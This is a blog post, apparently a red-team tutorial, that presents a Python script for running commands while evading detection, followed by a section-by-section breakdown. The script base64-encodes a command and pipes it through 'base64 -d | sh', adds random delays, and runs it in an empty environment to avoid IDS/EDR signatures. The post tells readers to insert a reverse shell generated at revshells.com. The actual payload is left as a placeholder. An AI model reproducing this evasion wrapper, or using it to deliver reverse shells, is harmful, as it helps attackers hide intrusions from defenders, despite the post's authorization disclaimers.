Post

Malware with Python

Malware with Python

When performing authorized Red Team engagements, one of the most important goals is to remain undetected while achieving your objectives. Reverse shells are a popular way to gain interactive access to a target system, but basic techniques can be caught by Intrusion Detection Systems (IDS) or Endpoint Detection and Response (EDR) solutions. In this blog post, we’ll look at a Python script that executes an obfuscated reverse shell command with random delays and a clean environment. We’ll also mention how tools like revshells.com can help generate reverse shell commands for various platforms.

  1. Obfuscate commands with Base64 encoding.
  2. Introduce random delays to reduce behavioral signatures.
  3. Execute code in a “clean” environment for additional stealth. 4.

    Disclaimer: This script and the techniques discussed here are for educational purposes and legitimate Red Team engagements only. Unauthorized use can be illegal. Always ensure you have explicit permission from the system owner before conducting any security testing.

The Python Script

Below is a Python script that demonstrates:

  1. Obfuscation of the reverse shell command using Base64 encoding.
  2. Random Delays to avoid predictable patterns.
  3. Clean Environment execution to minimize environment-variable footprints.
  4. Error Handling to gracefully catch exceptions. ````
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# -*- coding: utf-8 -*-
"""
=========================================================
 Author:       LordMurak/Milton
 Description:  Example script for command execution
               with evasion and control improvements.
 Usage:        Only in authorized Red Team environments.
=========================================================
"""

import subprocess
import base64
import random
import time
import os

def obfuscate_command(command):
    """
    Converts the command to Base64 and decodes it
    in the target shell. This approach helps
    obfuscate the string in memory and in simple logs.
    """
    b64_cmd = base64.b64encode(command.encode()).decode()
    # Example for Unix-based systems:
    #   echo <b64_cmd> | base64 -d | sh
    # For PowerShell (Windows):
    #   powershell -EncodedCommand <b64_cmd>
    #
    # Here we use a generic example for Unix:
    return f"echo {b64_cmd} | base64 -d | sh"

def main(command=None):
    """
    Executes an obfuscated command with a random delay,
    in a 'clean' environment, handling errors.
    """
    # 1. Default command (if none is provided)
    if command is None:
        command = r'insert here ur cmd shellcode'

    # 2. Small random delay to reduce behavioral signatures
    delay = random.randint(1, 5)
    time.sleep(delay)

    # 3. Obfuscate the command (optional, you can disable it if you want to run the command directly)
    obfuscated = obfuscate_command(command)

    # 4. Create an empty environment (no variables) for stealth
    clean_env = {}

    # 5. Use subprocess.Popen for better control over stdout and stderr
    try:
        process = subprocess.Popen(
            obfuscated,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            env=clean_env
        )
        out, err = process.communicate()

        # 6. Check the return code
        if process.returncode == 0:
            print("[+] Command executed successfully - LordMurak")
            if out:
                print("Output:\n", out)
        else:
            print("[!] ERROR - Non-zero return code")
            if err:
                print("Stderr:\n", err)

    except subprocess.CalledProcessError as cpe:
        print("[!] CalledProcessError:", cpe)
    except Exception as e:
        print("[!] Unexpected error:", e)

if __name__ == "__main__":
    # Call main() with a custom command or without arguments.
    # Example: main("ls -la /tmp")
    main()

Breakdown of Key Sections

1. Imports

1
2
3
4
5
import subprocess
import base64
import random
import time
import os
  • subprocess: Allows you to spawn new processes, connect to their input/output/error pipes, and obtain return codes.
  • base64: Encodes and decodes strings in Base64. Useful for obfuscation.
  • random: Introduces random behavior (e.g., delays) to avoid patterns.
  • time: Enables time-related functions like sleep().
  • os: Interacts with the operating system (for environment variables, file paths, etc.).

    2. obfuscate_command Function

1
2
3
4
5
6
7
8
9
def obfuscate_command(command):
    """
    Converts the command to Base64 and decodes it
    in the target shell. This approach helps
    obfuscate the string in memory and in simple logs.
    """
    b64_cmd = base64.b64encode(command.encode()).decode()
    return f"echo {b64_cmd} | base64 -d | sh"

  • Purpose: Takes a plaintext command and returns a string that decodes it at runtime, making the actual command less obvious in logs or memory.
  • Base64 Obfuscation: This is not encryption, but it can circumvent simple pattern-based detections.

3. main Function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def main(command=None):
    """
    Executes an obfuscated command with a random delay,
    in a 'clean' environment, handling errors.
    """
    if command is None:
        command = "shellcode with reverse generator"

    # Random delay
    delay = random.randint(1, 5)
    time.sleep(delay)

    # Obfuscate command
    obfuscated = obfuscate_command(command)

    # Clean environment
    clean_env = {}

    # Execute command in a subprocess
    try:
        process = subprocess.Popen(
            obfuscated,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            env=clean_env
        )
        out, err = process.communicate()

        # Check return code
        if process.returncode == 0:
            print("[+] Command executed successfully - LordMurak")
            if out:
                print("Output:\n", out)
        else:
            print("[!] ERROR - Non-zero return code")
            if err:
                print("Stderr:\n", err)

    except subprocess.CalledProcessError as cpe:
        print("[!] CalledProcessError:", cpe)
    except Exception as e:
        print("[!] Unexpected error:", e)
  • Default Command: If no command is provided, it uses a placeholder.
  • Random Delay: random.randint(1, 5) introduces unpredictability.
  • Obfuscation: obfuscate_command(command) encodes and creates a shell pipeline to decode the command at runtime.
  • Clean Environment: Using an empty environment (env=clean_env) prevents inheriting environment variables that might raise suspicion or be logged.
  • Error Handling: Catches both CalledProcessError and any other Exception to gracefully handle failures.

Using revshells.com for Your Reverse Shell Commands

  • Choose Your Payload: Navigate to revshells.com and select the type of reverse shell you want (e.g., Bash, PowerShell, PHP, etc.).
  • Customize the IP/Port: Input your listener’s IP address and port.
  • Copy the Command: Once the command is generated, you can copy and paste it into the command variable in our script (or pass it as an argument to main()).
  • Run the Script: Execute your Python script, and it will obfuscate the revshells.com command for you, introducing randomness and a clean environment.

Limitations and Next Steps

  • Base64 is Not Encryption: Tools or analysts can easily decode your commands. This is primarily to bypass naive signature-based detections.
  • Behavioral Analysis: Advanced EDR solutions may still flag suspicious behaviors (e.g., repeated curl usage, unusual file writes, etc.). Consider additional obfuscation or staged approaches if needed.
  • Use in Authorized Environments: Always confirm your scope and permissions. Unauthorized use of these techniques is illegal and unethical.

Why This Matters

  • Obfuscation: Helps bypass naive signature-based detection systems.
  • Random Delays: Avoids consistent patterns that can be flagged by security solutions.
  • Clean Environment: Reduces potential forensic evidence (like environment variables) that could indicate malicious activity.

Again, these techniques do not guarantee full invisibility. They simply raise the bar for detection. A well-configured endpoint security system with behavioral analysis can still spot suspicious activity.


Conclusion

This Python script offers a basic blueprint for executing commands with minimal detection risk in authorized Red Team engagements. By combining Base64 obfuscation, random delays, and a clean environment, you can significantly lower the chances of triggering simple alarms or leaving obvious traces.

However, always remember:

  • Base64 is not encryption. It’s easily reversible.
  • Use these techniques ethically and with explicit permission.
  • Continuous adaptation is necessary; defenders and detection tools evolve rapidly.

Feel free to experiment with different forms of obfuscation (e.g., PowerShell’s -EncodedCommand, partial string concatenations, etc.) to tailor this approach to your Red Team objectives.

Disclaimer: This post is intended for legitimate Red Team operations and educational demonstrations. Always adhere to the legal boundaries and obtain proper authorization before using these techniques.

This post is licensed under CC BY 4.0 by the author.